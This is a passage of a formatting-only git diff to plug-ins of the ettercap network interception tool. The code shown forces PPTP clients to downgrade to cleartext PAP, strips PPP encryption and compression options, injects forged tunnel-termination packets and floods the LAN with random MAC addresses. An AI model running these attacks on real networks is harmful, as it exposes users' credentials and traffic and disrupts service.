*)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_DUMMY2, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) - option[0] = PPP_REQUEST_ACOMP; + if (lcp->code == PPP_CONFIGURE_REJ) { + if ((option = (u_char *)parse_option((u_char *)(lcp + 1), PPP_REQUEST_DUMMY1, ntohs(lcp->length) - sizeof(*lcp))) != NULL) + option[0] = PPP_REQUEST_FCOMP; + + if ((option = (u_char *)parse_option((u_char *)(lcp + 1), PPP_REQUEST_DUMMY2, ntohs(lcp->length) - sizeof(*lcp))) != NULL) + option[0] = PPP_REQUEST_ACOMP; } } - /* Clear Compression and Encryption */ static void parse_ecp(struct packet_object *po) { struct ppp_lcp_header *lcp; - - if (!(po->flags & PO_FORWARDABLE)) - return; + + if (!(po->flags & PO_FORWARDABLE)) + return; lcp = (struct ppp_lcp_header *)po->L4.header; if (lcp->code == PPP_CONFIGURE_REQUEST || lcp->code == PPP_CONFIGURE_REJ) - obfuscate_options((u_char *)(lcp + 1), ntohs(lcp->length)-sizeof(*lcp)); + obfuscate_options((u_char *)(lcp + 1), ntohs(lcp->length) - sizeof(*lcp)); } - /* Clear Van Jacobson Compression */ static void parse_ipcp(struct packet_object *po) { struct ppp_lcp_header *lcp; u_char *option; - - if (!(po->flags & PO_FORWARDABLE)) - return; + + if (!(po->flags & PO_FORWARDABLE)) + return; lcp = (struct ppp_lcp_header *)po->L4.header; - if ( lcp->code == PPP_CONFIGURE_REQUEST) - if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_VJC, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) - option[0] = PPP_REQUEST_DUMMY1; - - if ( lcp->code == PPP_CONFIGURE_REJ) - if ( (option = (u_char *)parse_option( (u_char *)(lcp + 1), PPP_REQUEST_DUMMY1, ntohs(lcp->length)-sizeof(*lcp))) !=NULL) - option[0] = PPP_REQUEST_VJC; -} + if (lcp->code == PPP_CONFIGURE_REQUEST) + if ((option = (u_char *)parse_option((u_char *)(lcp + 1), PPP_REQUEST_VJC, ntohs(lcp->length) - sizeof(*lcp))) != NULL) + option[0] = PPP_REQUEST_DUMMY1; + if (lcp->code == PPP_CONFIGURE_REJ) + if ((option = (u_char *)parse_option((u_char *)(lcp + 1), PPP_REQUEST_DUMMY1, ntohs(lcp->length) - sizeof(*lcp))) != NULL) + option[0] = PPP_REQUEST_VJC; +} /* Search an option in the packet */ -static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len) +static u_char *parse_option(u_char *buffer, u_char option, int16 tot_len) { /* Avoid never-ending parsing on bogus packets ;) */ - char counter=0; - - while (tot_len>0 && *buffer!=option && counter<20) { + char counter = 0; + + while (tot_len > 0 && *buffer != option && counter < 20) { tot_len -= buffer[1]; buffer += buffer[1]; counter++; } - - if (*buffer == option) + + if (*buffer == option) return buffer; - + return NULL; } - /* Change the requested options to something unknown * and viceversa */ -static void obfuscate_options(u_char * buffer, int16 tot_len) +static void obfuscate_options(u_char *buffer, int16 tot_len) { - char counter=0; - while (tot_len>0 && counter<20) { - if (buffer[0]>0 && buffer[0]!=0xff) - buffer[0]^=PPP_OBFUSCATE; - + char counter = 0; + while (tot_len > 0 && counter < 20) { + if (buffer[0] > 0 && buffer[0] != 0xff) + buffer[0] ^= PPP_OBFUSCATE; + tot_len -= buffer[1]; buffer += buffer[1]; @@ -221,4 +213,3 @@ static void obfuscate_options(u_char * buffer, int16 tot_len) /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/pptp_pap/pptp_pap.c b/plug-ins/pptp_pap/pptp_pap.c index 357f8f896..bd02a8215 100644 --- a/plug-ins/pptp_pap/pptp_pap.c +++ b/plug-ins/pptp_pap/pptp_pap.c @@ -1,34 +1,32 @@ /* - pptp_pap -- ettercap plugin -- Forces PAP during PPTP negotiation (it almost fails) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * pptp_pap -- ettercap plugin -- Forces PAP during PPTP negotiation (it almost fails) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include - struct ppp_lcp_header { - u_char code; - u_char ident; + u_char code; + u_char ident; u_int16 length; }; @@ -46,38 +44,38 @@ static int pptp_pap_init(void *); static int pptp_pap_fini(void *); static void parse_ppp(struct packet_object *po); -static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len); +static u_char *parse_option(u_char *buffer, u_char option, int16 tot_len); /* plugin operations */ -struct plugin_ops pptp_pap_ops = { +struct plugin_ops pptp_pap_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "pptp_pap", - /* a short description of the plugin (max 50 chars) */ - .info = "PPTP: Forces PAP authentication", - /* the plugin version. */ - .version = "1.0", + .name = "pptp_pap", + /* a short description of the plugin (max 50 chars) */ + .info = "PPTP: Forces PAP authentication", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &pptp_pap_init, - /* deactivation function */ - .fini = &pptp_pap_fini, + .init = &pptp_pap_init, + /* deactivation function */ + .fini = &pptp_pap_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &pptp_pap_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int pptp_pap_init(void *dummy) +static int pptp_pap_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -86,16 +84,15 @@ static int pptp_pap_init(void *dummy) } USER_MSG("pptp_pap: plugin running...\n"); - + hook_add(HOOK_PACKET_LCP, &parse_ppp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int pptp_pap_fini(void *dummy) +static int pptp_pap_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("pptp_pap: plugin terminated...\n"); @@ -111,33 +108,32 @@ static void parse_ppp(struct packet_object *po) struct ppp_lcp_header *lcp; u_int16 *option; char tmp[MAX_ASCII_ADDR_LEN]; - + /* It is pointless to modify packets that won't be forwarded */ - if (!(po->flags & PO_FORWARDABLE)) - return; + if (!(po->flags & PO_FORWARDABLE)) + return; /* PPP decoder placed lcp header in L4 structure. - * According to the Hook Point this is an LCP packet. - */ + * According to the Hook Point this is an LCP packet. + */ lcp = (struct ppp_lcp_header *)po->L4.header; - /* Catch only packets that have to be modified */ - if ( lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) + /* Catch only packets that have to be modified */ + if (lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) return; - if ( (option=(u_int16 *)parse_option((u_char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length) - sizeof(*lcp))) ==NULL) + if ((option = (u_int16 *)parse_option((u_char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length) - sizeof(*lcp))) == NULL) return; - - if ( option[1] == htons(PPP_REQUEST_PAP) ) + + if (option[1] == htons(PPP_REQUEST_PAP)) return; - /* Modify the negotiation */ - if ( lcp->code == PPP_CONFIGURE_REJ && option[1] == htons(PPP_DUMMY_REQUEST) ) { + /* Modify the negotiation */ + if (lcp->code == PPP_CONFIGURE_REJ && option[1] == htons(PPP_DUMMY_REQUEST)) { /* We assume an original CHAP request that we have converted into DUMMY */ option[1] = htons(PPP_REQUEST_CHAP); - } - else if (lcp->code == PPP_CONFIGURE_REQUEST) - option[1] = htons(PPP_DUMMY_REQUEST); + } else if (lcp->code == PPP_CONFIGURE_REQUEST) + option[1] = htons(PPP_DUMMY_REQUEST); else if (lcp->code == PPP_CONFIGURE_NAK) { option[1] = htons(PPP_REQUEST_PAP); @@ -148,26 +144,24 @@ static void parse_ppp(struct packet_object *po) } } - /* Search an option in the packet */ -static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len) +static u_char *parse_option(u_char *buffer, u_char option, int16 tot_len) { /* Avoid never-ending parsing on bogus packets ;) */ - char counter=0; - - while (tot_len>0 && *buffer!=option && counter<20) { + char counter = 0; + + while (tot_len > 0 && *buffer != option && counter < 20) { tot_len -= buffer[1]; buffer += buffer[1]; counter++; } - - if (*buffer == option) + + if (*buffer == option) return buffer; - + return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/pptp_reneg/pptp_reneg.c b/plug-ins/pptp_reneg/pptp_reneg.c index 8493ad640..ca0149448 100644 --- a/plug-ins/pptp_reneg/pptp_reneg.c +++ b/plug-ins/pptp_reneg/pptp_reneg.c @@ -1,24 +1,23 @@ /* - pptp_reneg -- ettercap plugin -- Forces re-negotiation on an existing PPTP tunnel - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * pptp_reneg -- ettercap plugin -- Forces re-negotiation on an existing PPTP tunnel + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -26,14 +25,14 @@ #include struct ppp_header { - u_char address; - u_char control; + u_char address; + u_char control; u_int16 proto; }; struct ppp_lcp_header { - u_char code; - u_char ident; + u_char code; + u_char ident; u_int16 length; }; #define PPP_TERMINATE_ACK 0x06 @@ -56,35 +55,35 @@ static void parse_ppp(struct packet_object *po); static int found_in_list(struct packet_object *po); /* plugin operations */ -struct plugin_ops pptp_reneg_ops = { +struct plugin_ops pptp_reneg_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "pptp_reneg", - /* a short description of the plugin (max 50 chars) */ - .info = "PPTP: Forces tunnel re-negotiation", - /* the plugin version. */ - .version = "1.0", + .name = "pptp_reneg", + /* a short description of the plugin (max 50 chars) */ + .info = "PPTP: Forces tunnel re-negotiation", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &pptp_reneg_init, - /* deactivation function */ - .fini = &pptp_reneg_fini, + .init = &pptp_reneg_init, + /* deactivation function */ + .fini = &pptp_reneg_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &pptp_reneg_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int pptp_reneg_init(void *dummy) +static int pptp_reneg_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -93,18 +92,17 @@ static int pptp_reneg_init(void *dummy) } USER_MSG("pptp_reneg: plugin running...\n"); - + hook_add(HOOK_PACKET_PPP, &parse_ppp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int pptp_reneg_fini(void *dummy) +static int pptp_reneg_fini(void *dummy) { struct call_list *p; /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("pptp_reneg: plugin terminated...\n"); @@ -128,15 +126,15 @@ static void parse_ppp(struct packet_object *po) struct ppp_lcp_header *lcp; struct ppp_header *ppp; char tmp[MAX_ASCII_ADDR_LEN]; - + /* It is pointless to modify packets that won't be forwarded */ - if (!(po->flags & PO_FORWARDABLE)) - return; + if (!(po->flags & PO_FORWARDABLE)) + return; /* Do not terminate same tunnel twice */ if (found_in_list(po)) return; - + ppp = (struct ppp_header *)po->L4.header; lcp = (struct ppp_lcp_header *)(ppp + 1); @@ -149,48 +147,46 @@ static void parse_ppp(struct packet_object *po) ppp->address = 0xff; ppp->control = 0x3; - lcp->code = PPP_TERMINATE_ACK; + lcp->code = PPP_TERMINATE_ACK; lcp->ident = 0x01; /* or a higher value */ lcp->length = htons(sizeof(*lcp)); /* Notify the changes to previous decoders */ - po->flags |= PO_MODIFIED; - /* Use DATA.delta to notify ppp packet len modification */ + po->flags |= PO_MODIFIED; + /* Use DATA.delta to notify ppp packet len modification */ po->DATA.delta = sizeof(struct ppp_lcp_header) + sizeof(struct ppp_header) - po->L4.len; USER_MSG("pptp_reneg: Forced tunnel re-negotiation %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); } - /* Check if we already terminated this tunnel once */ static int found_in_list(struct packet_object *po) { struct call_list *p; - + /* Check if the addresses are consistent */ if (ip_addr_null(&po->L3.dst) || ip_addr_null(&po->L3.src)) return 1; - + /* Check if we already terminated this tunnel once */ SLIST_FOREACH(p, &call_table, next) { - if ( (!ip_addr_cmp(&po->L3.src, &p->ip[0]) && - !ip_addr_cmp(&po->L3.dst, &p->ip[1])) || - (!ip_addr_cmp(&po->L3.src, &p->ip[1]) && - !ip_addr_cmp(&po->L3.dst, &p->ip[0])) ) + if ((!ip_addr_cmp(&po->L3.src, &p->ip[0]) && + !ip_addr_cmp(&po->L3.dst, &p->ip[1])) || + (!ip_addr_cmp(&po->L3.src, &p->ip[1]) && + !ip_addr_cmp(&po->L3.dst, &p->ip[0]))) return 1; } SAFE_CALLOC(p, 1, sizeof(struct call_list)); - memcpy (&(p->ip[0]), &po->L3.src, sizeof(struct ip_addr)); - memcpy (&(p->ip[1]), &po->L3.dst, sizeof(struct ip_addr)); - + memcpy(&(p->ip[0]), &po->L3.src, sizeof(struct ip_addr)); + memcpy(&(p->ip[1]), &po->L3.dst, sizeof(struct ip_addr)); + SLIST_INSERT_HEAD(&call_table, p, next); - return 0; + return 0; } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/rand_flood/rand_flood.c b/plug-ins/rand_flood/rand_flood.c index b84e045f9..3d119f646 100644 --- a/plug-ins/rand_flood/rand_flood.c +++ b/plug-ins/rand_flood/rand_flood.c @@ -1,24 +1,23 @@ /* - rand_flood -- ettercap plugin -- Flood the LAN with random MAC addresses - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * rand_flood -- ettercap plugin -- Flood the LAN with random MAC addresses + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -29,94 +28,90 @@ #include /* globals */ -struct eth_header -{ - u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ - u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ - u_int16 proto; /* packet type ID field */ +struct eth_header { + u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ + u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ + u_int16 proto; /* packet type ID field */ }; struct arp_header { - u_int16 ar_hrd; /* Format of hardware address. */ - u_int16 ar_pro; /* Format of protocol address. */ - u_int8 ar_hln; /* Length of hardware address. */ - u_int8 ar_pln; /* Length of protocol address. */ - u_int16 ar_op; /* ARP opcode (command). */ + u_int16 ar_hrd; /* Format of hardware address. */ + u_int16 ar_pro; /* Format of protocol address. */ + u_int8 ar_hln; /* Length of hardware address. */ + u_int8 ar_pln; /* Length of protocol address. */ + u_int16 ar_op; /* ARP opcode (command). */ #define ARPOP_REQUEST 1 /* ARP request. */ }; struct arp_eth_header { - u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ - u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ - u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ - u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ + u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ + u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ + u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ + u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ }; -#define FAKE_PCK_LEN sizeof(struct eth_header)+sizeof(struct arp_header)+sizeof(struct arp_eth_header) +#define FAKE_PCK_LEN sizeof(struct eth_header) + sizeof(struct arp_header) + sizeof(struct arp_eth_header) struct packet_object fake_po; char fake_pck[FAKE_PCK_LEN]; - /* protos */ int plugin_load(void *); static int rand_flood_init(void *); static int rand_flood_fini(void *); EC_THREAD_FUNC(flooder); - /* plugin operations */ -struct plugin_ops rand_flood_ops = { +struct plugin_ops rand_flood_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "rand_flood", - /* a short description of the plugin (max 50 chars) */ - .info = "Flood the LAN with random MAC addresses", - /* the plugin version. */ - .version = "1.0", + .name = "rand_flood", + /* a short description of the plugin (max 50 chars) */ + .info = "Flood the LAN with random MAC addresses", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &rand_flood_init, - /* deactivation function */ - .fini = &rand_flood_fini, + .init = &rand_flood_init, + /* deactivation function */ + .fini = &rand_flood_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &rand_flood_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int rand_flood_init(void *dummy) -{ +static int rand_flood_init(void *dummy) +{ /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("rand_flood: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } - + INSTANT_USER_MSG("rand_flood: Start flooding the LAN...\n"); /* create the flooding thread */ ec_thread_new("flooder", "Random flooder thread", &flooder, NULL); - + return PLUGIN_RUNNING; } - -static int rand_flood_fini(void *dummy) +static int rand_flood_fini(void *dummy) { pthread_t pid; /* variable not used */ - (void) dummy; + (void)dummy; pid = ec_thread_getpid("flooder"); @@ -129,7 +124,6 @@ static int rand_flood_fini(void *dummy) return PLUGIN_FINISHED; } - EC_THREAD_FUNC(flooder) { struct timeval seed; @@ -139,9 +133,9 @@ EC_THREAD_FUNC(flooder) u_char MACS[ETH_ADDR_LEN], MACD[ETH_ADDR_LEN]; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; - /* Get a "random" seed */ + /* Get a "random" seed */ gettimeofday(&seed, NULL); srandom(seed.tv_sec ^ seed.tv_usec); @@ -154,13 +148,13 @@ EC_THREAD_FUNC(flooder) harp->ar_pro = htons(ETHERTYPE_IP); harp->ar_hln = 6; harp->ar_pln = 4; - harp->ar_op = htons(ARPOP_REQUEST); + harp->ar_op = htons(ARPOP_REQUEST); - packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN); + packet_create_object(&fake_po, (u_char *)fake_pck, FAKE_PCK_LEN); /* init the thread and wait for start up */ ec_thread_init(); - + LOOP { CANCELLATION_POINT(); @@ -175,21 +169,20 @@ EC_THREAD_FUNC(flooder) memcpy(MACD + 4, &rnd, 2); /* Fill the source and destination MAC address - * with random values + * with random values */ memcpy(heth->dha, MACD, ETH_ADDR_LEN); memcpy(heth->sha, MACS, ETH_ADDR_LEN); /* Send on the wire and wait */ - send_to_L2(&fake_po); + send_to_L2(&fake_po); ec_usleep(GBL_CONF->port_steal_send_delay); } - - return NULL; + + return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/remote_browser/remote_browser.c b/plug-ins/remote_browser/remote_browser.c index a1071aaa6..71a308604 100644 --- a/plug-ins/remote_browser/remote_browser.c +++ b/plug-ins/remote_browser/remote_browser.c @@ -1,24 +1,23 @@ /* - remote_browser -- ettercap plugin -- send to the browser the sniffed websites - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * remote_browser -- ettercap plugin -- send to the browser the sniffed websites + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -39,49 +38,48 @@ static int good_page(char *str); /* plugin operations */ -struct plugin_ops remote_browser_ops = { +struct plugin_ops remote_browser_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "remote_browser", - /* a short description of the plugin (max 50 chars) */ - .info = "Sends visited URLs to the browser", - /* the plugin version. */ - .version = "1.2", + .name = "remote_browser", + /* a short description of the plugin (max 50 chars) */ + .info = "Sends visited URLs to the browser", + /* the plugin version. */ + .version = "1.2", /* activation function */ - .init = &remote_browser_init, - /* deactivation function */ - .fini = &remote_browser_fini, + .init = &remote_browser_init, + /* deactivation function */ + .fini = &remote_browser_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &remote_browser_ops); } /*********************************************************/ -static int remote_browser_init(void *dummy) +static int remote_browser_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - /* + /* * add the hook in the dissector. */ hook_add(HOOK_PROTO_HTTP, &remote_browser); - + return PLUGIN_RUNNING; } - -static int remote_browser_fini(void *dummy) +static int remote_browser_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* remove the hook */ hook_del(HOOK_PROTO_HTTP, &remote_browser); @@ -89,7 +87,7 @@ static int remote_browser_fini(void *dummy) return PLUGIN_FINISHED; } -/* +/* * parse the packet and send the fake reply */ static void remote_browser(struct packet_object *po) @@ -99,15 +97,15 @@ static void remote_browser(struct packet_object *po) char *command; char **param = NULL; int i = 0, k = 0; - + /* the client is making a request */ - if (po->DATA.disp_len != 0 && strstr((const char*)po->DATA.disp_data, "GET")) { + if (po->DATA.disp_len != 0 && strstr((const char *)po->DATA.disp_data, "GET")) { /* I'm the sender, opening a browser with a request coming by me will trigger a loop in this function! */ - if(ip_addr_is_ours(&po->L3.src) == E_FOUND || ip_addr_is_ours(&po->L3.src) == E_BRIDGE) + if (ip_addr_is_ours(&po->L3.src) == E_FOUND || ip_addr_is_ours(&po->L3.src) == E_BRIDGE) return; /* I'm not the sender, I can safely open the browser, the GET triggered by it shouldn't cause bad effects */ - tmp = strdup((const char*)po->DATA.disp_data); + tmp = strdup((const char *)po->DATA.disp_data); /* get the Host: directive */ host = strstr(tmp, "Host: "); @@ -117,41 +115,41 @@ static void remote_browser(struct packet_object *po) *p = 0; } else goto bad; - + /* null terminate the request before the HTTP/x.x */ p = strstr(tmp, " HTTP"); if (p != NULL) *p = 0; else goto bad; - + /* get the requested url */ - url = tmp + 4; // 4 is like strlen("GET "); - + url = tmp + 4; // 4 is like strlen("GET "); + /* parse only pages, not images or other amenities */ if (!good_page(url)) goto bad; - + /* fill the command */ command = strdup(GBL_CONF->remote_browser); str_replace(&command, "%host", host); str_replace(&command, "%url", url); - + USER_MSG("REMOTE COMMAND: %s\n", command); - + /* split the string in the parameter array */ for (p = ec_strtok(command, " ", &q); p != NULL; p = ec_strtok(NULL, " ", &q)) { /* allocate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); - + /* copy the tokens in the array */ param[i++] = strdup(p); } - + /* NULL terminate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); param[i] = NULL; - /* execute the script */ + /* execute the script */ if (fork() == 0) { /* chrome won't start as root, changing UID in order to prevent this and for more security in the browser context */ /* the following line has been commented since some Penetration Testing distros can run only as root */ @@ -160,37 +158,35 @@ static void remote_browser(struct packet_object *po) DEBUG_MSG("drop_privs: getuid(%d) \n", getuid()); /* are we root ? */ - if (getuid() == 0) - { + if (getuid() == 0) { gid = uid = 1000; DEBUG_MSG("drop_privs: setuid(%d) setgid(%d)\n", uid, gid); /* drop to a good uid/gid ;) */ - if ( setgid(gid) < 0 ) + if (setgid(gid) < 0) DEBUG_MSG("setgid() FAILED\n"); - if ( setuid(uid) < 0 ) + if (setuid(uid) < 0) DEBUG_MSG("setuid() FAILED\n"); - DEBUG_MSG("privs: UID: %d %d GID: %d %d\n", (int)getuid(), (int)geteuid(), (int)getgid(), (int)getegid() ); - DEBUG_MSG("Privileges dropped to UID %d GID %d...\n\n", (int)getuid(), (int)getgid() ); - /* "nobody" cannot open a browser */ - } else if(getuid() == 65535) + DEBUG_MSG("privs: UID: %d %d GID: %d %d\n", (int)getuid(), (int)geteuid(), (int)getgid(), (int)getegid()); + DEBUG_MSG("Privileges dropped to UID %d GID %d...\n\n", (int)getuid(), (int)getgid()); + /* "nobody" cannot open a browser */ + } else if (getuid() == 65535) WARN_MSG("your ec_gid and ec_uid in etter.conf file are set to nobody (65535), you probably cannot open a new browser\n"); execvp(param[0], param); WARN_MSG("Cannot launch the default browser (command: %s), please edit your etter.conf file and put a valid value in remote_browser field\n", GBL_CONF->remote_browser); _exit(-E_INVALID); } - - //to free the char **param - for(k= 0; k < i; ++k) - SAFE_FREE(param[k]); + + // to free the char **param + for (k = 0; k < i; ++k) + SAFE_FREE(param[k]); SAFE_FREE(param); SAFE_FREE(command); bad: SAFE_FREE(tmp); } - } /* @@ -201,16 +197,16 @@ static int good_page(char *str) { int i; char *suffixes[] = { ".htm", ".html", ".shtml", ".phtml", ".dhtml", - ".php", ".asp", ".pl", ".py", ".jsp", NULL}; - + ".php", ".asp", ".pl", ".py", ".jsp", NULL }; + /* special case if we are requesting the root */ if (!strcmp(str, "/")) return 1; /* we are requesting a directory */ - if (str[strlen(str)-1] == '/') + if (str[strlen(str) - 1] == '/') return 1; - + /* search a valid suffix */ for (i = 0; suffixes[i]; i++) { if (strcasestr(str, suffixes[i])) { @@ -225,4 +221,3 @@ static int good_page(char *str) /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/reply_arp/reply_arp.c b/plug-ins/reply_arp/reply_arp.c index 9560a04b2..0dea7e604 100644 --- a/plug-ins/reply_arp/reply_arp.c +++ b/plug-ins/reply_arp/reply_arp.c @@ -1,24 +1,23 @@ /* - reply_arp -- ettercap plugin -- Simple arp responder - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to 